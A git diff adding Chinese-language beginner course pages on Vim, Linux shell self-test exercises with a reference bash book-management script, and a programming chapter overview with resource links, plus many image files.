+如果您能够遵循上述步骤，并且坚持使用新的编辑器完成您所有的文本编辑任务，那么学习一个复杂的代码编辑器的过程一般是这样的：头两个小时，您会学习到编辑器的基本操作，例如打开和编辑文件、保存与退出、浏览缓冲区。当学习时间累计达到 20 个小时之后，您使用新编辑器的效率应该已经和使用老编辑器一样快。在此之后，其益处开始显现：有了足够的知识和肌肉记忆后，使用新编辑器将大大节省你的时间。而现代文本编辑器都是些复杂且强大的工具，永远有新东西可学：学的越多，效率越高。
+
+## **Vim 的哲学**
+
+在编程的时候，你会把大量时间花在阅读/编辑而不是在写代码上。所以，Vim 是一个_多模态_编辑 器：它对于插入文字和操纵文字有不同的模式。Vim 是可编程的（可以使用 Vimscript 或者像 Python 一样的其他程序语言），Vim 的接口本身也是一个程序语言：键入操作（以及其助记名）是命令，这些命令也是可组合的。Vim 避免了使用鼠标，因为那样太慢了；Vim 甚至避免用 上下左右键因为那样需要太多的手指移动。
+
+这样的设计哲学使得 Vim 成为了一个能跟上你思维速度的编辑器。
+
+## 学习 Vim
+
+如果想要使用他最基本的操作的话，在电脑上键入 vimtutor
+
+会有官方的教程进行引导哦。
+
+## 配置 vim
+
+vim 有大量的配置，通过更改./vimrc 文件或者安装插件都可以有效提高你的开发效率，定制属于你个人的编辑器哦~
+
+快去试试吧
+
+## 任务
+
+定制 vim 成为你喜欢的模样，加装足够多的插件和更改足够多的配置让他满足以下几点或以上
+
+- 文件管理
+- 快速回退
+- 变得好看
+- 行号
+- 代码搜索
+- 模糊搜索
+- ...............
+
+可以尝试查看 vim Awesome 哦
+
+[vim awesome](https://vimawesome.com/)
+
+## 拓展阅读
+
+[Learn-Vim(the Smart Way) 中文翻译](https://github.com/wsdjeg/Learn-Vim_zh_cn)
+
+讲述了 vim 哲学的优秀教程
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.7linux小任务.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.7linux小任务.md
new file mode 100644
index 0000000..fa93a8d
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.7linux小任务.md
@@ -0,0 +1,126 @@
+# linux 自测
+
+1. 本课程需要使用类 Unix shell，例如 Bash 或 ZSH。如果您在 Linux 或者 MacOS 上面完成本课程的练习，则不需要做任何特殊的操作。如果您使用的是 Windows，则您不应该使用 cmd 或是 Powershell；您可以使用<u>Windows Subsystem for Linux</u>或者是 Linux 虚拟机。使用 `echo $SHELL` 命令可以查看您的 shell 是否满足要求。如果打印结果为 `/bin/bash` 或 `/usr/bin/zsh` 则是可以的。
+2. 在 `/tmp` 下新建一个名为 `missing` 的文件夹。
+3. 用 `man` 查看程序 `touch` 的使用手册。
+4. 用 `touch` 在 `missing` 文件夹中新建一个叫 `semester` 的文件。
+5. 将以下内容一行一行地写入 `semester` 文件：
+
+```bash
+#!/bin/sh
+ curl --head --silent https://missing.csail.mit.edu
+```
+
+第一行可能有点棘手， `#` 在 Bash 中表示注释，而 `!` 即使被双引号（`"`）包裹也具有特殊的含义。单引号（`'`）则不一样，此处利用这一点解决输入问题。更多信息请参考 <u>Bash quoting 手册</u>
+
+1. 尝试执行这个文件。例如，将该脚本的路径（`./semester`）输入到您的 shell 中并回车。如果程序无法执行，请使用 `ls` 命令来获取信息并理解其不能执行的原因。
+2. 查看 `chmod` 的手册 (例如，使用 `man chmod` 命令)
+3. 使用 `chmod` 命令改变权限，使 `./semester` 能够成功执行，不要使用 `sh semester` 来执行该程序。您的 shell 是如何知晓这个文件需要使用 `sh` 来解析呢？更多信息请参考：<u>shebang</u>
+4. 使用 `|` 和 `>` ，将 `semester` 文件输出的最后更改日期信息，写入主目录下的 `last-modified.txt` 的文件中
+5. 写一段命令来从 `/sys` 中获取笔记本的电量信息，或者台式机 CPU 的温度
+6. 使用 shell 编程写一个类似脚本的图书管理系统，包含增删改查四个功能
+
+当然，可能会有点困难我在这里附上一段参考代码
+
+```shell
+#! /usr/bin/env bash
+
+initialization()
+{
+         echo -n "| " ;echo "1:添加图书"
+          echo -n "| " ;echo "2:删除图书"
+          echo -n "| " ;echo "3:显示馆藏图书"
+          echo -n "| " ;echo "4:查找图书"
+          echo -n "| " ;echo "5:退出系统"
+          mainmenu
+}
+
+mainmenu()
+{
+        read operation
+        case $operation in
+        1)
+                addbook ;;
+        2)
+                delbook ;;
+        3)
+                listbooks ;;
+        4)
+                search ;;
+        5)
+                exit ;;
+        *)
+                "无效操作，请重试。"
+                initialization ;;
+        esac
+}
+
+#直接在文件夹内添加书（所以没有 书单.txt），若没有就find遍历系统匹配并加入
+#不考虑系统中多个匹配结果的情况
+addbook()
+{
+        echo "添加图书"
+        echo "-------------------------"
+        read -p "输入添加的书名"  bookname
+        if [[ -f ~/Desktop/bookregister/$bookname ]] ;
+        then
+                echo "已经存在这本书。"
+                return
+        else
+                find ~ -name $bookname -exec mv {} ~/Desktop/bookregister \;
+                if [[ -f ~/Desktop/bookregister/$bookname ]] ;
+                then 
+                echo "匹配成功，已加入书单。"
+                else
+                read -p "未找到这本书，手动输入链接从网上下载？[y/n]" download
+                        if  [[ $download = 'y' ]] ;
+                        then
+                                read -p "请输入链接。" url
+                                curl ${url} -o $bookname
+                                find ~ -name $bookname -exec mv {} ~/Desktop/bookregister \;
+                        fi
+                fi
+        fi
+}
+
+delbook()
+{
+        echo "删除图书"
+        echo "-------------------------"
+        read -p "输入删除的书名"  bookname
+        if [[ ! -f ~/Desktop/bookregister/$bookname ]] ;
+        then
+                echo "查无此书。"
+                return
+        else
+                read -p "输入 delete 以确认。" delete
+                if [[ $delete = delete ]];
+                then
+                rm ~/Desktop/bookregister/$bookname
+                echo "删除完毕。"
+                fi
+        fi
+}
+
+#因为脚本图书放在一起，所以脚本自身也会显示（不要在意这些细节）
+listbooks()
+{
+        ls ~/Desktop/bookregister
+}
+
+
+#若找到直接用less打开
+search()
+{
+        echo "查找图书"
+        echo "-------------------------"
+        read -p "输入查找的书名"  bookname
+        if [[ -f ~/Desktop/bookregister/$bookname ]] ;
+        then
+                less ~/Desktop/bookregister/$bookname
+        else
+                echo "查无此书。"
+        fi
+}
+
+```
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.编程思维体系构建.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.编程思维体系构建.md
new file mode 100644
index 0000000..ea7cf28
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.编程思维体系构建.md
@@ -0,0 +1,57 @@
+# 3.编程思维体系构建
+
+无论怎么说，编程都是计算机科学不可或缺的一部分。
+
+他的核心思想在于用将可量化的重复性劳作交给计算机来完成，以达成提高效率的目的。
+
+这里引用一位老师的比喻就是，将编程形容为开车，你可以讨厌他，也可以喜欢他。
+
+但是，他作为一个交通工具，你不开你就得腿着去学校。想想如果你从杭电走到西湖只能走着去，那是多么恐怖的一件事。
+
+（当然，现在 GPT 的强大功能可以帮大伙解决相当多的工作，因此，我们可能需要掌握更多的逻辑思维能力和分解问题的能力，将问题简化之后用 GPT 解决也不失为一个选择）
+
+因此本章节的目标是让大家面对一个实际问题，有使用编程解决的思路和能力。
+
+## 阅读本章内容，我可以得到什么
+
+本章提供了非常多的软实力文章，阅读相关软实力文章，你可以根据自己的情况构建适合自己一通百通的学习编程知识的方法论。
+
+本章提供了相当完善的，足够面对多数需求的 C 语言体系结构，通过完成 C 语言的体系，你可以较为熟练地掌握 C 语言，并且对构建一个较小规模的项目组织和项目拆分有一定的理解
+
+python 内容完成后，基本学习到如何使用 python 当一门工具使用，当有具体的需求可以进行后续的补充学习
+
+与此同时，Git or Linux 也是作为一个 CSer 或者说想要提升自身效率的程序员，不可或缺的一个内容，希望你能掌握
+
+如果你要开始，推荐你从 3.0 开始阅读，然后挑选你喜欢的内容
+
+[【计算机科学速成课】[40 集全/精校] - Crash Course Computer Science](https://www.bilibili.com/video/BV1EW411u7th)
+
+<Bilibili bvid='BV1EW411u7th'/>
+
+![](https://cdn.xyxsw.site/boxcnOrKXUsIPJAUXyGB3Txewve.png)
+
+## 本章参考内容
+
+[cs61a](https://cs61a.org/)
+
+[CS 自学指南](https://csdiy.wiki/)
+
+[MIT-Missing-Semester](https://missing.csail.mit.edu/2020/)
+
+[Introductory C Programming](https://www.coursera.org/specializations/c-programming)
+
+[一生一芯 nemu](https://ysyx.oscc.cc/)
+
+[jyy 的 OS 课程](https://jyywiki.cn/)
+
+[迷宫 game](https://github.com/helderman/htpataic)
+
+[GDB User Manual](https://www.sourceware.org/gdb/)
+
+[learn vim](https://github.com/wsdjeg/Learn-Vim_zh_cn)
+
+Book：教材替换用书——《C Primer Plus》
+
+::: tip 📥
+《C Primer Plus》（第六版中文版）（216MB）附件下载 <Download url="https://cdn.xyxsw.site/files/C%20Primer%20Plus%E7%AC%AC6%E7%89%88%20%E4%B8%AD%E6%96%87%E7%89%88.pdf"/>
+:::
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/code/HW 01.zip b/技术资源汇总(杭电支持版)/3.编程思维体系构建/code/HW 01.zip
new file mode 100644
index 0000000..c6e5f11
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/code/HW 01.zip differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/Axiomofchoice_1.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/Axiomofchoice_1.png
new file mode 100644
index 0000000..5a24e8b
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/Axiomofchoice_1.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/CWDhbW6gzogyMFxtd6kcnPBunv2.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/CWDhbW6gzogyMFxtd6kcnPBunv2.png
new file mode 100644
index 0000000..c110980
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/CWDhbW6gzogyMFxtd6kcnPBunv2.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/Cpfzb9oK2oMyGxxgkqVceE8DnId.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/Cpfzb9oK2oMyGxxgkqVceE8DnId.png
new file mode 100644
index 0000000..0b07431
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/Cpfzb9oK2oMyGxxgkqVceE8DnId.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/FkOybDwtnoQeRyxejlwcjhQ2nch.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/FkOybDwtnoQeRyxejlwcjhQ2nch.png
new file mode 100644
index 0000000..c0d4800
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/FkOybDwtnoQeRyxejlwcjhQ2nch.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/GEN5b1HHdoDegPxAp8WcQDGknoc.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/GEN5b1HHdoDegPxAp8WcQDGknoc.png
new file mode 100644
index 0000000..a1564cd
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/GEN5b1HHdoDegPxAp8WcQDGknoc.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/HMipbO4vSoM3jhxSZ7Kcuddqnxh.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/HMipbO4vSoM3jhxSZ7Kcuddqnxh.png
new file mode 100644
index 0000000..1cbfc09
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/HMipbO4vSoM3jhxSZ7Kcuddqnxh.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/HZNMbzGZOoQGAhxQ29gcM5V4nNd.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/HZNMbzGZOoQGAhxQ29gcM5V4nNd.png
new file mode 100644
index 0000000..6ae5836
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/HZNMbzGZOoQGAhxQ29gcM5V4nNd.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/HgTfbMhCGodZbzxBNh9crH3cnCe.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/HgTfbMhCGodZbzxBNh9crH3cnCe.png
new file mode 100644
index 0000000..1db8eb0
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/HgTfbMhCGodZbzxBNh9crH3cnCe.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/Hqzbbs6iYobnxWxz11Ocfa9gnHd.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/Hqzbbs6iYobnxWxz11Ocfa9gnHd.png
new file mode 100644
index 0000000..5f2d7fe
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/Hqzbbs6iYobnxWxz11Ocfa9gnHd.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/L5HvblSuYonJn4x03a4cMLKknrh.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/L5HvblSuYonJn4x03a4cMLKknrh.png
new file mode 100644
index 0000000..804200f
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/L5HvblSuYonJn4x03a4cMLKknrh.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/MF4ZbUZ0qo70gRxeNGocsYvmnwe.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/MF4ZbUZ0qo70gRxeNGocsYvmnwe.png
new file mode 100644
index 0000000..df47d65
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/MF4ZbUZ0qo70gRxeNGocsYvmnwe.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/YAOvb6gquofiAYxsn3tcxcCYngf.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/YAOvb6gquofiAYxsn3tcxcCYngf.png
new file mode 100644
index 0000000..1fc659d
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/YAOvb6gquofiAYxsn3tcxcCYngf.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn05Ca6Wu5TxFMplZCw2N8Jb.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn05Ca6Wu5TxFMplZCw2N8Jb.png
new file mode 100644
index 0000000..2dd1014
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn05Ca6Wu5TxFMplZCw2N8Jb.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn0VMYQlez7tQTNkTPDkCsvg.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn0VMYQlez7tQTNkTPDkCsvg.png
new file mode 100644
index 0000000..55f1d16
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn0VMYQlez7tQTNkTPDkCsvg.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn1HbQct335qvZ71tGNu7jne.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn1HbQct335qvZ71tGNu7jne.png
new file mode 100644
index 0000000..51cce71
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn1HbQct335qvZ71tGNu7jne.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn1hlL1Fk4kDK4CPT2hJxwnV.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn1hlL1Fk4kDK4CPT2hJxwnV.png
new file mode 100644
index 0000000..3720f9d
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn1hlL1Fk4kDK4CPT2hJxwnV.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn2ouk043lNQEUkVkIS7bSSd.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn2ouk043lNQEUkVkIS7bSSd.png
new file mode 100644
index 0000000..41838f3
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn2ouk043lNQEUkVkIS7bSSd.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn30VJILYpO81pq89mAmzjTf.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn30VJILYpO81pq89mAmzjTf.png
new file mode 100644
index 0000000..c48d42c
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn30VJILYpO81pq89mAmzjTf.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn3PLPIvKSSvYiCnwx50FYvf.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn3PLPIvKSSvYiCnwx50FYvf.png
new file mode 100644
index 0000000..9ae2f64
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn3PLPIvKSSvYiCnwx50FYvf.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn3l30usevMTgv1ZbZ0mfJdh.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn3l30usevMTgv1ZbZ0mfJdh.png
new file mode 100644
index 0000000..7970890
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn3l30usevMTgv1ZbZ0mfJdh.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn5Uk41JyjjdTzXWQqUkexzc.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn5Uk41JyjjdTzXWQqUkexzc.png
new file mode 100644
index 0000000..80ff9ec
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn5Uk41JyjjdTzXWQqUkexzc.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn5sVnE76FYpVW2RDxtWDiZc.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn5sVnE76FYpVW2RDxtWDiZc.png
new file mode 100644
index 0000000..1cb93e7
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn5sVnE76FYpVW2RDxtWDiZc.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn6MgNnY2qBd1yAudeirx6Sh.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn6MgNnY2qBd1yAudeirx6Sh.png
new file mode 100644
index 0000000..a347eda
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn6MgNnY2qBd1yAudeirx6Sh.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn6ZnAzhaj2Tj7xk9K6FxBJh.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn6ZnAzhaj2Tj7xk9K6FxBJh.png
new file mode 100644
index 0000000..59c65ba
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn6ZnAzhaj2Tj7xk9K6FxBJh.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn7zL0QFakVTpYBdpOmmWOvc.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn7zL0QFakVTpYBdpOmmWOvc.png
new file mode 100644
index 0000000..c9dd1b6
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn7zL0QFakVTpYBdpOmmWOvc.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn85Yb3JIQ3520KeaSoyPVDd.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn85Yb3JIQ3520KeaSoyPVDd.png
new file mode 100644
index 0000000..93d026e
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn85Yb3JIQ3520KeaSoyPVDd.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn8ZxT5oMkScArZjZhgM6TYb.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn8ZxT5oMkScArZjZhgM6TYb.png
new file mode 100644
index 0000000..b378dc8
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn8ZxT5oMkScArZjZhgM6TYb.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn8aRDQpe7uuDxFv9v1WvZ4c.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn8aRDQpe7uuDxFv9v1WvZ4c.png
new file mode 100644
index 0000000..15fd7d1
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn8aRDQpe7uuDxFv9v1WvZ4c.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn95LbcwuMC2dIViOxWk8BFb.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn95LbcwuMC2dIViOxWk8BFb.png
new file mode 100644
index 0000000..167eb39
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn95LbcwuMC2dIViOxWk8BFb.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn9DSPlFgG2WMZhTOE9Zhzgb.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn9DSPlFgG2WMZhTOE9Zhzgb.png
new file mode 100644
index 0000000..82a4f7c
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn9DSPlFgG2WMZhTOE9Zhzgb.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn9VFPUYHl8ghJ3C78RsXjtf.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn9VFPUYHl8ghJ3C78RsXjtf.png
new file mode 100644
index 0000000..4964754
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn9VFPUYHl8ghJ3C78RsXjtf.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnAnXUHDqsMYVrDlBfFunoVf.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnAnXUHDqsMYVrDlBfFunoVf.png
new file mode 100644
index 0000000..0391251
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnAnXUHDqsMYVrDlBfFunoVf.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnAnkVAJmMT0NSNvo6crXYAd.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnAnkVAJmMT0NSNvo6crXYAd.png
new file mode 100644
index 0000000..544a7cc
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnAnkVAJmMT0NSNvo6crXYAd.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnBMq0sw6c48jvjdPJwmAGtZ.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnBMq0sw6c48jvjdPJwmAGtZ.png
new file mode 100644
index 0000000..39ceb69
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnBMq0sw6c48jvjdPJwmAGtZ.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnC6TAAdtS0P5HzebFgFn2lc.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnC6TAAdtS0P5HzebFgFn2lc.png
new file mode 100644
index 0000000..9b9fa1f
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnC6TAAdtS0P5HzebFgFn2lc.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnCNpeAE9Hy61cyvtxfioIHg.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnCNpeAE9Hy61cyvtxfioIHg.png
new file mode 100644
index 0000000..7bc68df
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnCNpeAE9Hy61cyvtxfioIHg.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnCX92JHjg8PU3quKs4GziZb.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnCX92JHjg8PU3quKs4GziZb.png
new file mode 100644
index 0000000..97eb9bd
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnCX92JHjg8PU3quKs4GziZb.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnFwZpWZ3fQkdd3mCO8Mr9Wj.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnFwZpWZ3fQkdd3mCO8Mr9Wj.png
new file mode 100644
index 0000000..9ea9e38
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnFwZpWZ3fQkdd3mCO8Mr9Wj.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnG6z1VpAYUGMSkSwDBUxEvf.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnG6z1VpAYUGMSkSwDBUxEvf.png
new file mode 100644
index 0000000..2b1b47f
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnG6z1VpAYUGMSkSwDBUxEvf.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnGHnjgZvtcBrm0XXitFl4Jg.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnGHnjgZvtcBrm0XXitFl4Jg.png
new file mode 100644
index 0000000..664596b
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnGHnjgZvtcBrm0XXitFl4Jg.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnHXggg6eLy86vFmb4shOksh.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnHXggg6eLy86vFmb4shOksh.png
new file mode 100644
index 0000000..a31439f
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnHXggg6eLy86vFmb4shOksh.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnHd7Qfi8C0Y7V2Ot5ii4vpf.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnHd7Qfi8C0Y7V2Ot5ii4vpf.png
new file mode 100644
index 0000000..77275f0
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnHd7Qfi8C0Y7V2Ot5ii4vpf.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnHemi9HkeAG1fgoznHbHLrc.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnHemi9HkeAG1fgoznHbHLrc.png
new file mode 100644
index 0000000..44ac11e
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnHemi9HkeAG1fgoznHbHLrc.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnIdOChXQUGMvnxWcB7uTWLh.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnIdOChXQUGMvnxWcB7uTWLh.png
new file mode 100644
index 0000000..82d5365
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnIdOChXQUGMvnxWcB7uTWLh.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnJOjh1Zfp9tCd3llL9NsEzb.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnJOjh1Zfp9tCd3llL9NsEzb.png
new file mode 100644
index 0000000..a3e261f
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnJOjh1Zfp9tCd3llL9NsEzb.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnKzJjY8Dvj13A49bnMAztPg.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnKzJjY8Dvj13A49bnMAztPg.png
new file mode 100644
index 0000000..877f5c9
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnKzJjY8Dvj13A49bnMAztPg.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnL5Jn3g7AdzVzoBb6ZINs1f.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnL5Jn3g7AdzVzoBb6ZINs1f.png
new file mode 100644
index 0000000..0bc697b
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnL5Jn3g7AdzVzoBb6ZINs1f.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnLguvbHihJ3ngqrtyGLI6zf.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnLguvbHihJ3ngqrtyGLI6zf.png
new file mode 100644
index 0000000..be9a105
Binary files /dev/null and b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnLguvbHihJ3ngqrtyGLI6zf.png differ
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnLxZnyFN3ohE8zrTwNaCA8e.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnLxZnyFN3ohE8zrTwNaCA8e.png
new file mode 100644
index 0000000..5720fb7
